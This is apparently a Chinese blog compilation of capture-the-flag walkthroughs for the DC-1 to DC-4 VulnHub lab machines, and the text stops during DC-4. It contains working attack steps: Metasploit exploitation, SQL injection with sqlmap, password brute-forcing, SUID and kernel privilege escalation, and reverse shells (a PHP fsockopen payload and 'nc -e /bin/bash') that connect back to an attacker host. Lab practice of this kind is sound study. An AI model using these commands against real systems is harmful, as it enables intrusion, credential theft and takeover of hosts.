主頁 >  其他 > DC靶機1-9合集

DC靶機1-9合集

2020-11-25 21:12:03 其他

DC1

文章前提概述

本文介紹DC-1靶機的滲透測驗流程
涉及知識點(比較基礎):
nmap掃描網段埠服務
msf的漏洞搜索
drupal7的命令執行利用
netcat反向shell
mysql的基本操作
sudi提權

基本環境搭建

靶機下載地址:http://www.five86.com/downloads/DC-1.zip
https://download.vulnhub.com/dc/DC-1.zip
VMware(windows):https://www.52pojie.cn/thread-1026907-1-1.html
選擇高版本的vmware,不然可能不支持ova匯入
下載匯入開機vmware設定選擇nat模式,目的讓你的攻擊機和靶機在一個網段,可以根據網路環境自行設定只要在一個網段就行,

基礎資訊收集

nmap掃描

nmap -A 192.168.124.0/24

掃描結果
開發80,111,22ssh埠

Host is up (0.00039s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37454/udp   status
|   100024  1          39208/udp6  status
|   100024  1          52048/tcp   status
|_  100024  1          57763/tcp6  status
MAC Address: 00:0C:29:A6:59:A3 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.124.145

先爆破一下ssh吧(無結果)

nmap --script=ssh-brute 192.168.124.145

upload successful

訪問80埠

upload successful
嘗試了注冊,登錄的弱密碼,修改密碼,無效,但發現admin用戶存在
wappalyzer指紋識別,發現室Drupal系統
upload successful

去漏洞庫和msf搜索一下

msfconsole
search Drupal

upload successful

upload successful
發現有漏洞可以用那就開始msf吧
使用2018年的漏洞吧,是個遠程代碼執行(代碼審計現在真心看不懂,??)
https://www.exploit-db.com/exploits/44482
https://paper.seebug.org/567/
upload successful

msf發現連接成功

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.145
run

upload successful

尋找一下flag

shell
find / -name flag*

upload successful

/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt

打開flag1.txt試試

cat /var/www/flag1.txt

upload successful
翻譯一下:每一個好的CMS都需要一個組態檔--你也一樣,
搜索Drupal的組態檔
/var/www/sites/default/settings.php,打開

cat /var/www/sites/default/settings.php
*
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

發現了flag2和資料庫的賬號密碼,嘗試連接一下

先弄一下互動shell吧

python -c 'import pty;pty.spawn("/bin/bash")'

upload successful
連接資料庫嘗試一下

mysql -u dbuser -p R0ck3t

查看一下node和user表,發現flag3

select * from node;
select * from users;

upload successful
為什么要看node表呢???(user表就不說了吧)
因為drupal node機制
drupal node機制理解
so,嘗試獲得登錄的密碼,hash值破解可能不太現實
我們注冊一個賬號將二者hash互換不就可以了
我丟不行,注冊沒法寫密碼,
那找到加密腳本自己加密一個不就行了
加密腳本位置

scripts/password-hash.sh
upload successful

php scripts/password-hash.sh admin

password: admin                 hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.

嘗試更換管理員密碼的hash

update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';

upload successful
下面登錄測驗一下,賬號admin密碼admin
upload successful
在content中發現
upload successful
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

也就是說我們需要尋找密碼,而且提示shadow,之前的flag4還沒看

upload successful
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
應該是讓獲得管理員權限,再去/etc/shadow看看

upload successful
嘗試給權限,還是不行
upload successful
那只能嘗試提權了

suid提權

SUID是set uid的簡稱,它出現在檔案所屬主權限的執行位上面,標志為 s ,當設定了SUID后,UMSK第一位為4,我們知道,我們賬戶的密碼檔案存放在/etc/shadow中,而/etc/shadow的權限為 ----------,也就是說:只有root用戶可以對該目錄進行操作,而其他用戶連查看的權限都沒有,當普通用戶要修改自己的密碼的時候,可以使用passwd這個指令,passwd這個指令在/bin/passwd下,當我們執行這個命令后,就可以修改/etc/shadow下的密碼了,那么為什么我們可以通過passwd這個指令去修改一個我們沒有權限的檔案呢?這里就用到了suid,suid的作用是讓執行該命令的用戶以該命令擁有者即root的權限去執行,意思是當普通用戶執行passwd時會擁有root的權限,這樣就可以修改/etc/passwd這個檔案了,
參考文章:Linux下的用戶、組和權限
已知的可用來提權的linux可行性的檔案串列如下:
nmap,vim,find,bash,more,less,nano,cp
發現系統上運行的所有SUID可執行檔案

不同系統適用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

upload successful
嘗試查看find是否有suid權限

/usr/bin/find /tmp -exec whoami  \;

find 命令說明
-exec 引數后面跟的是command命令,它的終止是以;為結束標志的,所以這句命令后面的分號是不可缺少的,考慮到各個系統中分號會有不同的意義,所以前面加反斜杠,-exec引數后面跟的就是我們想進一步操作的命令,so,我們可以以root的權限命令執行了

反彈一個shell,當然find和執行命令,我們也可以回傳一個root的netcat的后門

/usr/bin/find ./aaa -exec '/bin/sh'  \;
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444

upload successful
upload successful
最后,獲得最后一個flag

cat thefinalflag.txt

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

參考文章

freebuf:https://www.freebuf.com/articles/network/218073.html
知乎:https://zhuanlan.zhihu.com/p/135342104
W3:https://medium.com/@w3rallmachines/dc-1-vulnhub-walkthrough-3a2e7042c640

DC2

環境搭建

靶機下載地址:http://www.five86.com/downloads/DC-2.zip

基本資訊收集

nmap基本掃描,發現ip地址192.168.124.146,開發埠80,使用的wordpress框架

nmap -A 192.168.124.0/24
Nmap scan report for dc-2 (192.168.124.146)
Host is up (0.00036s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.7.10
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: DC-2 – Just another WordPress site
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:94:8C:B4 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

對埠進一步掃描,發現開發了7744埠(不清楚是什么服務,因該是ssh吧):

nmap -sS 192.168.124.146 -p 1-65535
Nmap scan report for dc-2 (192.168.124.146)
Host is up (0.00094s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
80/tcp   open  http
7744/tcp open  raqmon-pdu

訪問192.168.124.146發現訪問不了,這里需要改下本地的dns

linux:
vim /etc/hosts
windows:
C:\Windows\System32\drivers\etc

upload successful
訪問果然是個wordpress框架
upload successful

flag1

發現有flag,點進去,提示用cewl來獲取密碼,所有應該是爆破密碼之類的,且提示自己的密碼字典可能無效,且有時沒法獲得所有密碼,提示用其他的身份去登錄
upload successful

那還說什么cewl搞起

cewl是通過爬行網站獲取關鍵資訊創建一個密碼字典

cewl http://dc-2/index.php/flag/ -w dict.txt
-w 輸出的檔案名稱

發現主題是wordpress,那就掃描一下用戶吧,提示密碼了,因該是讓登錄
使用wpscan工具:

WPScan是Kali Linux默認自帶的一款漏洞掃描工具,它采用Ruby撰寫,能夠掃描WordPress網站中的多種安全漏洞,其中包括主題漏洞、插件漏洞和WordPress本身的漏洞,最新版本WPScan的資料庫中包含超過18000種插件漏洞和2600種主題漏洞,并且支持最新版本的WordPress,值得注意的是,它不僅能夠掃描類似robots.txt這樣的敏感檔案,而且還能夠檢測當前已啟用的插件和其他功能,
該掃描器可以實作獲取站點用戶名,獲取安裝的所有插件、主題,以及存在漏洞的插件、主題,并提供漏洞資訊,同時還可以實作對未加防護的Wordpress站點暴力破解用戶名密碼,

列舉一下用戶,列舉出admin,jerry,tom

wpscan --url http://dc-2 --enumerate u

[+] URL: http://dc-2/ [192.168.124.146]
[+] Started: Sat Nov  7 02:23:05 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.4
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <====================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

爆破一下用戶名和密碼
touch users.txt
將用戶名admin,jerry,tom存入
用剛剛抓取的密碼字典和用戶字典進行爆破

wpscan --url http://dc-2/ -U users.txt -P dict.txt
[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

成功爆破出了兩個用戶名和密碼,沒有admin的
upload successful

嘗試登錄,登錄成功,且在page中發現flag2

upload successful
提示無法利用wordpress采取捷徑,嘗試令一種方法,之前nmap掃描出了7744埠,那么我們是不是可以嘗試ssh登錄
發現使用tom賬號登錄成功

ssh [email protected] -p 7744
password:parturient

嘗試讀取檔案

upload successful
發現被rbash,也就是說是被受限的shell
參考鏈接:freebuf

先嘗試"/"能不能用

upload successful
cp命令

upload successful
FTP,GDB,main,git沒有,發現vi可以用,那就試試被

vi test
set shell=/bin/sh
shell

upload successful

upload successful

upload successful

更改PATH或SHELL環境變數

查看
export -p
export HOME='/home/tom'                                                                                                           
export LANG='en_US.UTF-8'                                                                                                         
export LOGNAME='tom'                                                                                                              
export MAIL='/var/mail/tom'                                                                                                       
export PATH='/home/tom/usr/bin'                                                                                                   
export PWD='/home/tom'
export SHELL='/bin/rbash'
export SHLVL='1'
export SSH_CLIENT='192.168.124.139 51336 7744'
export SSH_CONNECTION='192.168.124.139 51336 192.168.124.146 7744'
export SSH_TTY='/dev/pts/1'
export TERM='xterm-256color'
export USER='tom'
export VIM='/usr/share/vim'
export VIMRUNTIME='/usr/share/vim/vim74'
export _='whoami'

修改path

export PATH="/usr/sbin:/usr/bin:/rbin:/bin"

打開flag3.txt發現,提示要切換用戶到jerry
upload successful

切換用戶,home發現flag4

upload successful

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. ??

Go on - git outta here!!!!

這里提示git提權

sudo git help config

upload successful
成功獲取root權限,讀取檔案

upload successful

Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

參考文章

linux提權

freebuf

wpscan

vulnhub: DC 2

DC3

靶場搭建

靶場的下載:http://www.five86.com/downloads/DC-3-2.zip

基本資訊收集

nmap -sS A 192.168.124.0/24
Nmap scan report for 192.168.124.147
Host is up (0.00041s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:EF:73:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.124.147

對埠的進一步掃描,沒有發現其他的埠

nmap 192.168.124.147

訪問192.168.124.147的80埠,發現提示,和cms是joomla
upload successful
使用joomscan進行進一步掃描

它是一個Joomla掃描儀, 它將幫助網路開發人員和網站管理員幫助確定已部署的Joomla網站可能存在的安全漏洞,

安裝joomscan(kali中)
apt-get install joomscan
joomscan --url http://192.168.124.147

upload successful
也可使用CMSseek進一步掃描

安裝CMSseek
git clone https://github.com/Tuhinshubhra/CMSeeK
使用
python3 cmseek.py --url 192.168.124.147

資訊一樣
upload successful

搜索joomla漏洞

searchsploit joomla 3.7.0

upload successful
打開查看漏洞詳情

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 

查看發現存在sql注入,具體漏原理seebug
簡單來說就是
com_fields組件,對請求資料沒有進行過濾,從而導致sql注入,未過濾位置
upload successful
upload successful
測驗一下

http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)

upload successful

sqlmap進行注入

爆資料庫名
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" --dbs

upload successful

爆表名
qlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" --tables

upload successful

爆欄位名
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns

upload successful

爆資料
sqlmap -u "http://192.168.124.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password --dump

upload successful

嘗試破解密碼

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
創建檔案
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
爆破密碼
john test
john test --show

John the Ripper (“JtR”) 是一個非常有用的工具,這是一個快速的密碼破解,適用于Windows和許多Linux系統,它具有很多功能,對于很多密碼破解均有奇效,

upload successful

登錄寫shell頁面

登錄網站:http://192.168.124.147/administrator/
撰寫新頁面
upload successful
點擊撰寫
upload successful
new file撰寫
upload successful
upload successful

蟻劍鏈接

upload successful

upload successful

嘗試提權

嘗試suid提權

find / -perm -u=s -type f 2>/dev/null

發現沒有可提權程式

upload successful
嘗試命令提權,發現咩用
嘗試linux內核提權

uname -a
cat /etc/issue

upload successful
尋找內核提權腳本

searchsploit Ubuntu 16.04

嘗試一下
upload successful

cat \usr\share\exploitdb\exploits\linux\local\39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

        /* look for pseudo eBPF instructions that access map FDs and
         * replace them with actual map pointers
         */
        static int replace_map_fd_with_map_ptr(struct verifier_env *env)
        {
                struct bpf_insn *insn = env->prog->insnsi;
                int insn_cnt = env->prog->len;
                int i, j;

                for (i = 0; i < insn_cnt; i++, insn++) {
                        [checks for bad instructions]

                        if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
                                struct bpf_map *map;
                                struct fd f;

                                [checks for bad instructions]

                                f = fdget(insn->imm);
                                map = __bpf_map_get(f);
                                if (IS_ERR(map)) {
                                        verbose("fd %d is not pointing to valid bpf_map\n",
                                                insn->imm);
                                        fdput(f);
                                        return PTR_ERR(map);
                                }

                                [...]
                        }
                }
                [...]
        }


__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
        if (!f.file)
                return ERR_PTR(-EBADF);
        if (f.file->f_op != &bpf_map_fops) {
                fdput(f);
                return ERR_PTR(-EINVAL);
        }

        return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.


One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

提示有exp的地址,下載

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

解壓上傳到靶機目錄,解壓

tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh

先反彈一下互動形的shell
創建一個phpshell.php檔案,寫入

<?php
system("$sock=fsockopen(\"192.168.124.139\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");");
?>

kali端

netcat -l -p 4444

蟻劍執行

php phpshell.php

upload successful
kali收到反彈的shell

upload successful
執行剛剛編譯的exp

upload successful
提權成功
尋找flag root下

upload successful
成功獲得flag

 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

參考文章

https://www.cnblogs.com/yurang/p/12735286.html

https://www.exploit-db.com/exploits/44227

DC4

靶場的搭建

靶場下載地址:https://download.vulnhub.com/dc/DC-4.zip

基本資訊收集

nmap掃描網段

nmap -sS -A 192.168.124.0/24
Nmap scan report for 192.168.124.148
Host is up (0.00022s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 00:0C:29:40:C9:C1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.22 ms 192.168.124.148

得到基本資訊開放了80,ssh埠,作業系統Debian
先爆破一下ssh吧(無結果)

nmap --script=ssh-brute 192.168.124.148

查看80埠,發現不是cms,是個登錄框,提醒admin登錄
upload successful
嘗試sql,burpsuite跑一下字典沒結果,那我再跑一下看看有過濾沒(我丟還是啥結果沒有),看來沒有注入呀
upload successful
upload successful
讓我百度一下題解,我丟,暴力破解密碼可還行,那是時候祭出我100w的大字典了(heng!)
再見沒爆破出來直接看答案(我一點也不happy),看來字典有的落后了

賬號:admin
密碼:happy

登錄進去

嘗試登錄發現是個命令執行功能,抓包看看,更改一下ls,發現能讀取檔案,那先讀取comment看看是怎么執行的
upload successful

upload successful
我丟,直接shell_exec(),那直接反彈shell

nc 192.168.124.139 4444 -e /bin/bash
kali端
netcat -l -p 4444

upload successful
反彈一下互動shell

python -c 'import pty;pty.spawn("/bin/sh")'

upload successful

發現密碼

在下面目錄發現old-passwords.bak

/home/jim/backups
說是old密碼,打開

cat old-passwords.bak
000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1

生成爆破字典,爆破ssh
使用hydra,進行爆破,hydra是著名黑客組織thc的一款開源的暴力密碼破解工具,可以在線破解多種密碼,

破解ssh: 
hydra -l 用戶名 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh 
hydra -l 用戶名 -p 密碼字典 -t 執行緒 -o save.log -vV ip ssh 
破解ftp: 
hydra ip ftp -l 用戶名 -P 密碼字典 -t 執行緒(默認16) -vV 
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV 
爆破ssh
hydra -l jim -P passwd.txt -t 10 ssh://192.168.124.148

爆出ssh登錄密碼

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-10 08:38:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 252 login tries (l:1/p:252), ~26 tries per task
[DATA] attacking ssh://192.168.124.148:22/
[STATUS] 110.00 tries/min, 110 tries in 00:01h, 142 to do in 00:02h, 10 active
                                                                                                                                  
                                                                                                                                  
                                                                                                                                  
[STATUS] 80.00 tries/min, 160 tries in 00:02h, 92 to do in 00:02h, 10 active                                                      
